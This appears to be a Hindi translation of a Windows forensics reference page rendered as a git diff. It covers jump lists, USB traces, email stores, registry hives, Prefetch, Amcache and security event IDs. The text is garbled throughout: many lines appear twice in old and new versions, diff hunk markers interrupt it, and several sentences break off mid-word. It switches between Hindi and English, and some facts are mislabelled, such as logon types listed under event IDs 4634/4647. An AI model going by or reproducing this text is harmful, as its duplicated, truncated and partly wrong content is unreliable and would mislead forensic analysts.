**जम्पलिस्ट्स** जो स्वचालित रूप से बनाई गई हैं, उन्हें `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहित किया जाता है। जम्पलिस्ट्स का नामकरण `{id}.autmaticDestinations-ms` नामक प्रारूप का होता है जहाँ प्रारंभिक आईडी एप्लिकेशन का आईडी होता है।
**स्वचालित रूप से बनाए गए जम्पलिस्ट्स** `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` में संग्रहित होते हैं। जम्पलिस्ट्स का नाम इस प्रारूप का होता है `{id}.autmaticDestinations-ms` जहां प्रारंभिक आईडी एप्लिकेशन की आईडी होती है।
कस्टम जम्पलिस्ट्स `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहित की जाती हैं और उन्हें एप्लिकेशन द्वारा सामान्यत: कुछ **महत्वपूर्ण** होने के कारण बनाया जाता है (शायद पसंदीदा के रूप में चिह्नित किया गया हो)
कस्टम जम्पलिस्ट्स `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` में संग्रहित होती हैं और इन्हें एप्लिकेशन द्वारा सामान्यत: कुछ **महत्वपूर्ण** घटना होने के कारण बनाया जाता है (शायद पसंदीदा के रूप में चिह्नित किया गया हो)
किसी भी जम्पलिस्ट का **निर्माण समय** दर्शाता है **फ़ाइल का पहली बार उपयोग किया गया था** और **संशोधित समय अंतिम बार**
किसी भी जम्पलिस्ट का **निर्माण समय** दर्शाता है **फ़ाइल तक पहुँचने का पहला समय** और **संशोधित समय** अंतिम बार।
आप [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) का उपयोग करके जम्पलिस्ट्स की जांच कर सकते हैं।
![](<../../../.gitbook/assets/image (474).png>)
(_कृपया ध्यान दें कि JumplistExplorer द्वारा प्रदान की गई समय चिह्नित जम्पलिस्ट फ़ाइल से संबंधित हैं_)
### शेलबैग्स
[**इस लिंक पर जाएं और जानें कि शेलबैग्स क्या हैं।**](interesting-windows-registry-keys.md#shellbags)
## Windows USB का उपयोग
एक USB डिवाइस का उपयोग किया गया था यह पहचानना संभव है धन्यवाद है:
* Windows हाल की फ़ोल्डर
* Microsoft Office हाल की फ़ोल्डर
* जम्पलिस्ट्स
ध्यान दें कि कुछ LNK फ़ाइल मूल पथ की बजाय WPDNSE फ़ोल्डर को इंगित करती हैं:
![](<../../../.gitbook/assets/image (476).png>)
फ़ोल्डर WPDNSE में फ़ाइलें मूल वालों की प्रतिलिपि होती हैं, फिर वे PC की पुनरारंभी नहीं होंगी और GUID एक शेलबैग से लिया गया है।
### रजिस्ट्री सूचना
[जानने के लिए इस पृष्ठ की जाँच करें](interesting-windows-registry-keys.md#usb-information) कि कौन सी रजिस्ट्री कुंजीयाँ USB कनेक्टेड डिवाइस के बारे में दिलचस्प जानकारी रखती हैं।
### setupapi
USB कनेक्शन किया गया था कब हुआ यह जानने के लिए फ़ाइल `C:\Windows\inf\setupapi.dev.log` की जाँच करें (खोज करें `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB डिटेक्टिव
[**USBDetective**](https://usbdetective.com) का उपयोग एक छवि में कनेक्ट किए गए USB डिवाइस के बारे में जानकारी प्राप्त करने के लिए किया जा सकता है।
![](<../../../.gitbook/assets/image (483).png>)
### प्लग और प्ले सफाई
'प्लग और प्ले सफाई' नामक निर्धारित कार्य को पुराने ड्राइवर संस्करणों को हटाने के लिए प्राथमिक रूप से डिज़ाइन किया गया है। नवीनतम ड्राइवर पैकेज संस्करण को बनाए रखने के उसके निर्दिष्ट उद्देश्य के विपरीत, ऑनलाइन स्रोत सुझाव देते हैं कि यह 30 दिनों के लिए निष्क्रिय रहे ड्राइवर्स पर भी निशाना साधता है। इस परिणामस्वरूप, पिछले 30 दिनों में कनेक्ट नहीं किए गए हटाए जा सकते हैं।
कार्य से संबंधित निम्नलिखित पथ पर स्थित है:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
कार्य की सामग्री का चित्र प्रदर्शित किया गया है:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**कार्य के मुख्य घटक और सेटिंग्स:**
- **pnpclean.dll**: यह DLL वास्तविक सफाई प्रक्रिया के लिए जिम्मेदार है।
- **UseUnifiedSchedulingEngine**: `TRUE` पर सेट किया गया है, जो सामान्य कार्य निर्धारण इंजन का उपयोग करने की संकेत करता है।
- **MaintenanceSettings**:
- **अवधि ('P1M')**: कार्य सूचीकरणकर्ता को नियमित स्वचालित रूप से मासिक सफाई कार्य आरंभ करने के लिए निर्देशित करता है।
- **समयसीमा ('P2M')**: यदि कार्य दो लगातार महीनों के लिए विफल हो जाता है, तो टास्क स्केड्यूलर को आपातकालीन स्वचालित रूप से मासिक सफाई कार्य को करने के लिए निर्देशित करता है।
यह विन्यास ड्राइवरों की नियमित रखरखाव और सफाई सुनिश्चित करता है, जो लगातार विफलताओं के मामले में कार्य को पुनः प्रयास करने के लिए प्रावधान करता है।
**अधिक जानकारी के लिए देखें:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## ईमेल
ईमेल में **2 दिलचस्प भाग होते हैं: हेडर्स और सामग्री****हेडर्स** में आप जानकारी पा सकते हैं जैसे:
* **कौन** ईमेल भेजा (ईमेल पता, आईपी, ईमेल को पुनर्निर्देशित करने वाले मेल सर्वर)
* **कब** ईमेल भेजा गया था
इसके अलावा, `References` और `In-Reply-To` हेडर्स में आप मेसेज की आईडी पा सकते हैं:
![](<../../../.gitbook/assets/image (484).png>)
### Windows मेल ऐप
यह एप्लिकेशन ईमेल को HTML या पाठ में सहेजता है। आप ईमेल को नीचे उपफ़ोल्डर में पा सकते हैं `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`। ईमेल `.dat` एक्सटेंशन के साथ सहेजे जाते हैं।
ईमेलों की **मेटाडेटा** और **संपर्क** को **EDB डेटाबेस** में पाया जा सकता है: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
फ़ाइल का एक्सटेंशन **बदलें** `.vol` से `.edb` और आप इसे खोलने के लिए उपकरण [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) का उपयोग कर सकते हैं। `Message` टेबल के अंदर आप ईमेल देख सकते हैं।
### Microsoft Outlook
जब Exchange सर्वर या Outlook क्लाइंट का उपयोग किया जाता है तो कुछ MAPI हेडर्स होते हैं:
* `Mapi-Client-Submit-Time`: ईमेल भेजे जाने का समय
* `Mapi-Conversation-Index`: थ्रेड के बच्चों की संख्या और हर मेसेज के समय का चिन्हांक
* `Mapi-Entry-ID`: मेसेज पहचानकर्ता।
* `Mappi-Message-Flags` और `Pr_last_Verb-Executed`: MAPI क्लाइंट के बारे में जानकारी (मेसेज पढ़ा गया? पढ़ा नहीं गया? प्रतिक्रिया दी गई? पुनर्निर्देशित किया गया? बाहर ऑफिस?)
Microsoft Outlook क्लाइंट में
### Microsoft Outlook OST Files
एक **OST फ़ाइल** Microsoft Outlook द्वारा उत्पन्न की जाती है जब यह **IMAP** या **Exchange** सर्वर के साथ कॉन्फ़िगर किया जाता है, जो एक PST फ़ाइल के समान जानकारी संग्रहित करती है। यह फ़ाइल सर्वर के साथ समकलीन होती है, **पिछले 12 महीने** तक के डेटा को **अधिकतम 50GB** आकार तक रखती है, और PST फ़ाइल के समान निर्देशिका में स्थित है। एक OST फ़ाइल देखने के लिए, [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) का उपयोग किया जा सकता है।
### अटैचमेंट पुनः प्राप्त करना
खो गए अटैचमेंट को निम्नलिखित से पुनः प्राप्त किया जा सकता है:
- **IE10 के लिए**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- **IE11 और ऊपर के लिए**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOX Files
**Thunderbird** डेटा संग्रहित करने के लिए **MBOX फ़ाइलें** का उपयोग करता है, जो `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` में स्थित है।
### छवि थंबनेल्स
- **Windows XP और 8-8.1**: थंबनेल्स के साथ एक फ़ोल्डर तक पहुँचने पर `thumbs.db` फ़ाइल उत्पन्न होती है जो छवि पूर्वावलोकन संग्रहित करती है, भले ही उसके हटाने के बाद भी।
- **Windows 7/10**: `thumbs.db` उत्पन्न होती है जब UNC पथ के माध्यम से नेटवर्क के माध्यम से पहुँचा जाता है।
- **Windows Vista और नएरे**: थंबनेल पूर्वावलोकन `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` में केंद्रीकृत है जिसमें फ़ाइलें **thumbcache\_xxx.db** नाम से होती हैं। [**Thumbsviewer**](https://thumbsviewer.github.io) और [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) इन फ़ाइलों को देखने के लिए उपकरण हैं।
### Windows रजिस्ट्री सूचना
Windows रजिस्ट्री, विभिन्न `HKEY_LOCAL_MACHINE` उपकीजों के लिए फ़ाइलों में संग्रहित व्यापक सिस्टम और उपयोगकर्ता गतिविधि डेटा संग्रहित करता है:
- विभिन्न `HKEY_LOCAL_MACHINE` उपकीजों के लिए `%windir%\System32\Config` में।
- `HKEY_CURRENT_USER` के लिए `%UserProfile%{User}\NTUSER.DAT` में।
- Windows Vista और उसके बाद के संस्करण `%Windir%\System32\Config\RegBack\` में `HKEY_LOCAL_MACHINE` रजिस्ट्री फ़ाइलें बैकअप करते हैं।
- इसके अतिरिक्त, कार्यक्रम निष्पादन सूचना `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` में संग्रहित है Windows Vista और Windows 2008 सर्वर के बाद से।
### उपकरण
कुछ उपकरण रजिस्ट्री फ़ाइलों का विश्लेषण करने के लिए उपयोगी हैं:
* **रजिस्ट्री संपादक**: यह Windows में स्थापित है। यह वर्तमान सत्र की Windows रजिस्ट्री में नेविगेट करने के लिए एक GUI है।
* [**रजिस्ट्री एक्सप्लोरर**](https://ericzimmerman.github.io/#!index.md): यह आपको रजिस्ट्री फ़ाइल लोड करने और उनमें नेविगेट करने की अनुमति देता है एक GUI के साथ। यह बुकमार्क्स शामिल करता है जो दिलचस्प जानकारी वाले कुंजियों को हाइलाइट करता है।
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): फिर से, इसमें एक GUI है जो लोड किए गए रजिस्ट्री में नेविगेट करने की अनुमति देता है और लोड किए गए रजिस्ट्री में दिलचस्प जानकारी को हाइलाइट करने वाले प्लगइन्स भी शामिल हैं।
* [**Windows रजिस्ट्री रिकवरी**](https://www.mitec.cz/wrr.html): एक और GUI एप्लिकेशन जो रजिस्ट्री से महत्वपूर्ण जानकारी निकालने की क्षमता रखता है।
### हटाए गए तत्व को पुनः प्राप्त करना
जब एक कुंजी हटाई जाती है तो उसे ऐसा चिह्नित किया जाता है, लेकिन जब तक वह जगह जिसे वह धारण कर रही है आवश्यक नहीं होती, तब तक वह हटाया नहीं जाएगा। इसलिए, **रजिस्ट्री एक्सप्लोरर** जैसे उपकरण का उपयोग करके इन हटाए गए कुंजियों को पुनः प्राप्त किया जा सकता है।
### अंतिम लेखन समय
प्रत्येक कुंजी-मान में एक **समय चिह्नांक** होता है जो दर्शाता है कि आखिरी बार यह संशोधित किया गया था।
### SAM
फ़ाइल/हाइव **SAM** में सिस्टम के **उपयोगकर्ता, समूह और उपयोगकर्ता पासवर्ड** हैश संग्रहित होते हैं।
`SAM\Domains\Account\Users` में आप उपयोगकर्ता नाम, RID, अंतिम लॉगिन, अंतिम विफल लॉगिन, लॉगिन काउंटर, पासवर्ड नीति और खाता बनाया गया था की जानकारी प्राप्त कर सकते हैं। **हैश** प्राप्त करने के लिए आपको फ़ाइल/हाइव **SYSTEM** की भी **आवश्यकता** है।
### Windows रजिस्ट्री में दिलचस्प प्रविष्टियाँ
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## निष्पादित कार्यक्रम
### मौलिक Windows प्रक्रियाएँ
[इस पोस्ट](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) में आप संदेहात्मक व्यवहार का पता लगाने के लिए सामान्य Windows प्रक्रियाओं के बारे में सीख सकते हैं।
### Windows हाल के APPs
रजिस्ट्री `NTUSER.DAT` में पथ `Software\Microsoft\Current Version\Search\RecentApps` में आप **निष्पादित एप्लिकेशन**, **अंतिम समय** जब यह निष्पादित किया गया था, और **कितनी बार** यह चलाया गया था के बारे में जानकारी संग्रहित करने वाली सबकीज हो सकती है।
### BAM (पृष्ठभूमि गतिविधि नियंत्रक)
आप रजिस्ट्री संपादक के साथ `SYSTEM` फ़ाइल खोल सकते हैं और पथ `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` में आप प्रत्येक उपयोगकर्ता द्वारा निष्पादित **एप्लिकेशन की जानकारी** (पथ में `{SID}` ध्यान दें) और **कब** वे निष्पादित किए गए थे (समय रजिस्ट्री के डेटा मान में होता है) प्राप्त कर सकते हैं।
### Windows Prefetch
प्रीफेचिंग एक तकनीक है जो एक कंप्यूटर को चुपचाप **उसे आवश्यक संसाधन लाने की अनुमति देती है जो एक उपयोगकर्ता निकट भविष्य में पहुँच सकता है** ताकि संसाधन तेजी से पहुँचे जा सकें।
Windows प्रीफेच में **निष्पादित कार्यक्रमों के कैश** बनाने से उन्हें तेजी से लोड करने की क्षमता होती है। ये कैशेज `.pf` फ़ाइलें बनाते हैं पथ में: `C:\Windows\Prefetch`। XP/VISTA/WIN7 में 128 फ़ाइलों की सीमा होती है और Win8/Win10 में 1024 फ़ाइलें होती हैं।
फ़ाइल नाम `{प्रोग्राम_नाम}-{हैश}.pf` के रूप में बनाई जाती है (हैश पथ और कार्यक्रम के तर्कों पर आधारित है)। W10 में ये फ़ाइलें संकुचित होती हैं। ध्यान दें कि फ़ाइल की केवल मौज
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -135,13 +304,13 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
**सुपरप्रीफेच** का उसी लक्ष्य है जैसे प्रीफेच, **प्रोग्राम्स को तेजी से लोड करना** अगले क्या लोड होने वाला है का पूर्वानुमान करके। हालांकि, यह प्रीफेच सेवा की जगह नहीं लेता है।\
यह सेवा डेटाबेस फ़ाइल्स उत्पन्न करेगी `C:\Windows\Prefetch\Ag*.db` में।
इन डेटाबेस में आप **प्रोग्राम** का **नाम**, **एक्जीक्यूशन्स** की **संख्या**, **फ़ाइलें** **ओपन** की गईं, **वॉल्यूम** **एक्सेस** किया गया, **पूरा** **पथ**, **समयअंतर** और **टाइमस्टैम्प्स** देख सकते हैं।
इन डेटाबेस में आप **प्रोग्राम** का **नाम**, **एक्जीक्यूशन्स** की **संख्या**, **फ़ाइलें खोली गई**, **वॉल्यूम एक्सेस**, **पूरा पथ**, **समयअंतर** और **टाइमस्टैम्प्स** देख सकते हैं।
आप इस जानकारी तक पहुंच सकते हैं उपकरण [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) का उपयोग करके।
### SRUM
**सिस्टम रिसोर्स यूजेज मॉनिटर** (SRUM) **प्रक्रिया द्वारा उपयोग किए गए संसाधनों** का **निगरानी** करता है। यह W8 में प्रकट हुआ और यह डेटा को `C:\Windows\System32\sru\SRUDB.dat` में स्थित एक ESE डेटाबेस में संग्रहित करता है।
**सिस्टम रिसोर्स यूजेज मॉनिटर** (SRUM) **प्रक्रिया द्वारा उपयोग किए गए संसाधनों** का **निगरानी** करता है। यह W8 में प्रकट हुआ और डेटा को `C:\Windows\System32\sru\SRUDB.dat` में स्थित एक ESE डेटाबेस में संग्रहित करता है।
यह निम्नलिखित जानकारी प्रदान करता है:
@ -165,16 +334,38 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
- फ़ाइल का पूरा पथ
- फ़ाइल का आकार
- **$Standard\_Information** (SI) के तहत अंतिम संशोधित समय
- ShimCache का अंतिम अपड
- Last Modified time under **$Standard\_Information** (SI)
- Last Updated time of the ShimCache
- Process Execution Flag
Such data is stored within the registry at specific locations based on the version of the operating system:
- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries.
- उपसर्वर 2003 के लिए, साथ ही Windows संस्करण 2008, 2012, 2016, 7, 8, और 10 के लिए, स्टोरेज पथ `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache` है, जिसमें 512 और 1024 एंट्री को समाहित किया गया है।
संग्रहित जानकारी को पार्स करने के लिए, [**AppCompatCacheParser** टूल](https://github.com/EricZimmerman/AppCompatCacheParser) का उपयोग करना सुझावित है।
![](<../../../.gitbook/assets/image (488).png>)
### Amcache
**Amcache.hve** फ़ाइल मुख्य रूप से एक रजिस्ट्री हाइव है जो एक सिस्टम पर निष्पादित की गई एप्लिकेशनों के विवरण को लॉग करता है। आमतौर पर यह `C:\Windows\AppCompat\Programas\Amcache.hve` पर पाया जाता है।
यह फ़ाइल हाल ही में निष्पादित प्रक्रियाओं के रिकॉर्ड संग्रहित करने के लिए महत्वपूर्ण है, जिसमें निष्पादनीय फ़ाइलों के पथ और उनके SHA1 हैश शामिल हैं। यह जानकारी सिस्टम पर एप्लिकेशनों की गतिविधि का ट्रैकिंग करने के लिए अमूल्य है।
**Amcache.hve** से डेटा निकालने और विश्लेषण करने के लिए, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) टूल का उपयोग किया जा सकता है। निम्नलिखित कमांड एक उदाहरण है कि AmcacheParser का उपयोग कैसे किया जाए **Amcache.hve** फ़ाइल की सामग्री को पार्स करने और परिणामों को CSV प्रारूप में निकालने के लिए:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
### नवीनतम फ़ाइल कैश
में उत्पन्न CSV फ़ाइलों में, `Amcache_Unassociated file entries` विशेष रूप से महत्वपूर्ण है क्योंकि यह असंबद्ध फ़ाइल प्रविष्टियों के बारे में विविध जानकारी प्रदान करता है।
यह आर्टिफैक्ट केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाया जा सकता है और यह कुछ बाइनरी के हाल ही में निष्पादन के बारे में जानकारी रखता है।
सबसे दिलचस्प CVS फ़ाइल जो उत्पन्न होती है, वह है `Amcache_Unassociated file entries`
आप फ़ाइल को पार्स करने के लिए उपकरण [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) का उपयोग कर सकते हैं।
### RecentFileCache
इस आर्टिफैक्ट को केवल W7 में `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` में पाया जा सकता है और यह कुछ बाइनरी के हाल ही में निष्पादन के बारे में जानकारी रखता है।
आप उपकरण [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) का उपयोग फ़ाइल को पार्स करने के लिए कर सकते हैं।
### निर्धारित कार्य
@ -187,66 +378,47 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### **Windows Store**
स्थापित एप्लिकेशन `\ProgramData\Microsoft\Windows\AppRepository\` में पाए जा सकते हैं।
इस भंडार में एक **लॉग** है जिसमें प्रत्येक एप्लिकेशन की स्थापना की गई है जो डेटाबेस **`StateRepository-Machine.srd`** के अंदर है
इस भंडार में एक **लॉग** है जिसमें प्रत्येक एप्लिकेशन की स्थापना की गई है जो तंत्र में है डेटाबेस **`StateRepository-Machine.srd`**।
इस डेटाबेस के एप्लिकेशन तालिका में, "एप्लिकेशन आईडी", "पैकेज नंबर", और "प्रदर्शन नाम" मिल सकते हैं। ये स्तंभ पूर्व स्थापित और स्थापित एप्लिकेशनों के बारे में जानकारी रखते हैं और यह पता लगाया जा सकता है कि क्या कुछ एप्लिकेशन अनइंस्टॉल किए गए थे क्योंकि स्थापित एप्लिकेशनों के आईडी सारणीक होना चाहिए।
इस डेटाबेस के एप्लिकेशन तालिका में, "एप्लिकेशन आईडी", "पैकेज नंबर", और "प्रदर्शन नाम" मिल सकते हैं। ये स्तंभ पूर्व स्थापित और स्थापित एप्लिकेशनों के बारे में जानकारी रखते हैं और यह पता लगाया जा सकता है कि क्या कुछ एप्लिकेशन अनइंस्टॉल किए गए थे क्योंकि स्थापित एप्लिकेशनों के आईडी सतत होने चाहिए।
रजिस्ट्री पथ `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` में स्थापित एप्लिकेशन भी **पाए जा सकते हैं**\
रजिस्ट्री पथ में भी स्थापित एप्लिकेशन पाए जा सकते हैं: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
और **अनइंस्टॉल** **एप्लिकेशन** में: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows घटनाएँ
Windows घटनाओं के अंदर जो जानकारी आती है:
Windows घटनाओं में जो जानकारी दिखाई देती है:
* क्या हुआ
* टाइमस्टैम्प (UTC + 0)
* शामिल हुए उपयोगकर्ता
* शामिल हुए होस्ट (होस्टनाम, आईपी)
* एसेट्स तक पहुंचा गया (फ़ाइलें, फ़ोल्डर, प्रिंटर, सेवाएं)
* पहुंचे गए संपत्तियाँ (फ़ाइलें, फ़ोल्डर, प्रिंटर, सेवाएँ)
लॉग `C:\Windows\System32\config` में पहले Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित हैं। Windows Vista से पहले, घटना लॉग बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं।
लॉग `C:\Windows\System32\config` में पहले Windows Vista से पहले और `C:\Windows\System32\winevt\Logs` में Windows Vista के बाद स्थित हैं। Windows Vista से पहले, इवेंट लॉग बाइनरी प्रारूप में थे और इसके बाद, वे **XML प्रारूप** में हैं और **.evtx** एक्सटेंशन का उपयोग करते हैं।
घटना फ़ाइलों की स्थिति को **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** में पाया जा सकता है।
इवेंट फ़ाइलों की स्थिति सिस्टम रजिस्ट्री में मिल सकती है **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
इन्हें Windows घटना दर्शक (**`eventvwr.msc`**) से या [**Event Log Explorer**](https://eventlogxp.com) जैसे अन्य उपकरणों के साथ देखा जा सकता है **या** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** के साथ।**
इन्हें Windows इवेंट व्यूअर (**`eventvwr.msc`**) से देखा जा सकता है या [**इवेंट लॉग एक्सप्लोरर**](https://eventlogxp.com) **या** [**Evtx एक्सप्लोरर/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** जैसे अन्य उपकरणों के साथ।**
## Windows सुरक्षा घटना लॉगिंग को समझना
## Windows सुरक्षा इवेंट लॉगिंग को समझना
सुरक्षा विन्यास फ़ाइल में एक्सेस घटनाएँ रिकॉर्ड की जाती हैं जो `C:\Windows\System32\winevt\Security.evtx` में स्थित है। इस फ़ाइल का आकार समायोज्य है, और जब इसकी क्षमता पूरी हो जाती है, पुरानी घटनाएँ ओवरराइट हो जाती हैं। रिकॉर्ड की गई घटनाएँ उपयोगकर्ता लॉगिन और लॉगआउट, उपयोगकर्ता क्रियाएँ, और सुरक्षा सेटिंग्स में परिवर्तनों के साथ, साथ ही फ़ाइल, फ़ोल्डर, और साझा संपत्ति एक्सेस शामिल हैं।
सुरक्षा विन्यास फ़ाइल में एक्सेस इवेंट रिकॉर्ड किए जाते हैं जो `C:\Windows\System32\winevt\Security.evtx` में स्थित है। इस फ़ाइल का आकार समायोज्य है, और जब इसकी क्षमता पूरी हो जाती है, पुराने इवेंट ओवरराइट हो जाते हैं। रिकॉर्ड किए गए इवेंट में उपयोगकर्ता लॉगिन और लॉगऑफ, उपयोगकर्ता क्रियाएँ, और सुरक्षा सेटिंग्स में परिवर्तनों के साथ, साथ ही फ़ाइल, फ़ोल्डर, और साझा संपत्ति एक्सेस भी शामिल हैं।
### उपयोगकर्ता प्रमाणीकरण के लिए मुख्य घटना आईडी:
### उपयोगकर्ता प्रमाणीकरण के लिए मुख्य इवेंट आईडी:
- **घटना आईडी 4624**: उपयोगकर्ता सफलतापूर्वक प्रमाणीकृत करता है।
- **घटना आईडी 4625**: प्रमाणीकरण विफलता की संकेत देता है।
- **घटना आईडी 4634/4647**: उपयोगकर्ता लॉगआउट घटनाएँ को प्रस्तुत करता है।
- **घटना आईडी 4672**: प्रशासनिक विशेषाधिकारों के साथ लॉगिन को दर्शाता है।
- **EventID 4624**: उपयोगकर्ता सफलतापूर्वक प्रमाणीकृत है।
- **EventID 4625**: प्रमाणीकरण विफलता की संकेत देता है।
- **EventIDs 4634/4647**: उपयोगकर्ता लॉगऑफ इवेंट को प्रस्तुत करता है।
- **EventID 4672**: प्रबंधनीय विशेषाधिकारों के साथ लॉगिन को दर्शाता है।
#### सिस्टम पावर इवेंट्स
#### घटना आईडी 4634/4647 के अंदर उप-प्रकार:
इवेंटआईडी 6005 सिस्टम स्टार्टअप को दर्शाता है, जबकि इवेंटआईडी 6006 शटडाउन को चिह्नित करता है।
- **इंटरैक्टिव (2)**: सीधे उपयोगकर्ता लॉगिन।
- **नेटवर्क (3)**: साझा फ़ोल्डरों तक पहुंच।
- **बैच (4)**: बैच प्रक्रियाओं का निष्पादन।
- **सेवा (5)**: सेवा लॉन्च।
- **प्रॉक्सी (6)**: प्रॉक्सी प्रमाणीकरण।
- **अनलॉक (7)**: पासवर्ड के साथ स्क्रीन अनलॉक।
- **नेटवर्क क्लियरटेक्स्ट (8)**: क्लियर टेक्स्ट पासवर्ड प्रसारण, अक्सर IIS से।
- **नए प्रमाणीकरण (9)**: एक्सेस के लिए विभिन्न प्रमाणीकरण का उपयोग।
- **रिमोट इंटरैक्टिव (10)**: रिमोट डेस्कटॉप या टर्मिनल सेवाओं लॉगिन।
- **कैश इंटरैक्टिव (11)**: डोमेन कंट्रोलर से संपर्क के बिना कैश उपयोगकर्ता पहुंच।
- **कैश रिमोट इंटरैक्टिव (12)**: कैश उपयोगकर्ता पहुंच के साथ रिमोट लॉगिन।
- **कैश अनलॉक (13)**: कैश उपयोगकर्ता पहुंच के साथ अनलॉक।
#### लॉग हटाना
#### घटना आईडी 4625 के लिए स्थिति और उप-स्थिति कोड:
सिक्योरिटी इवेंटआईडी 1102 लॉग को हटाने की सूचना देता है, जो फोरेंसिक विश्लेषण के लिए एक महत्वपूर्ण इवेंट है।
- **0xC0000064**: उपयोगकर्ता नाम मौजूद नहीं है - उपयोगकर्ता नाम जांच आक्रमण का संकेत हो सकता है।
- **0xC000006A**: सही उपयोगकर्ता नाम लेकिन गलत पासवर्ड - संभावित पासवर्ड अनुमान या ब्रूट-फोर्स प्रयास।
- **0xC0000234**: उपयोगकर्ता खाता लॉकआउट - एक से अधिक विफल लॉगिन के परिणामस्वरूप ब्रूट-फोर्स हमले का परिणाम हो सकता है।
- **0xC0000072**: खाता निषेधित - निषेधित खातों तक पहुंच के अनधिकृत प्रयास।
- **0xC000006F**: अनुमत समय के बाहर लॉगिन - निर्धारित लॉगिन समय के बाहर पहुंच के प्रयास, अनधिकृत पहुंच के संभावित संकेत।
- **0xC0000070**: वर्कस्टेशन प्रतिबंधों का उल्लंघन - अनधिकृत स्थान से लॉगिन का प्रयास।
- **0xC0000193**: खाता समाप्ति - समाप्त हो चुके उपयोगकर्ता खातों के साथ पहुंच के प्रयास।
- **0xC0000071**: समाप्त पासवर्ड - पुराने पासवर्ड के साथ लॉगिन के प्रयास।
- **0xC0000133**: समय सिंक समस्याएँ - क्लाइंट और सर्वर के बीच बड़े समय अंतर का संकेत हो सकता है जो पास-द-टिकट जैसे अधिक विकल्पित हमलों का संकेत हो सकता है।
- **0xC0000224**: अनिवार्य पासवर्ड परिवर्तन आवश्यक - नियमित पासवर्ड परिवर्तन खाता सुरक्षा को अस्थिर करने का प्रयास सुझा सकता है।
- **0xC0000225**: एक सिस्टम बग का संकेत है न कि सुरक्षा समस्या।
- **0xC000015b**: अनधिकृत लॉगिन प्रकार के साथ अधिकृत पहुंच का प्र
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -4,14 +4,18 @@
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
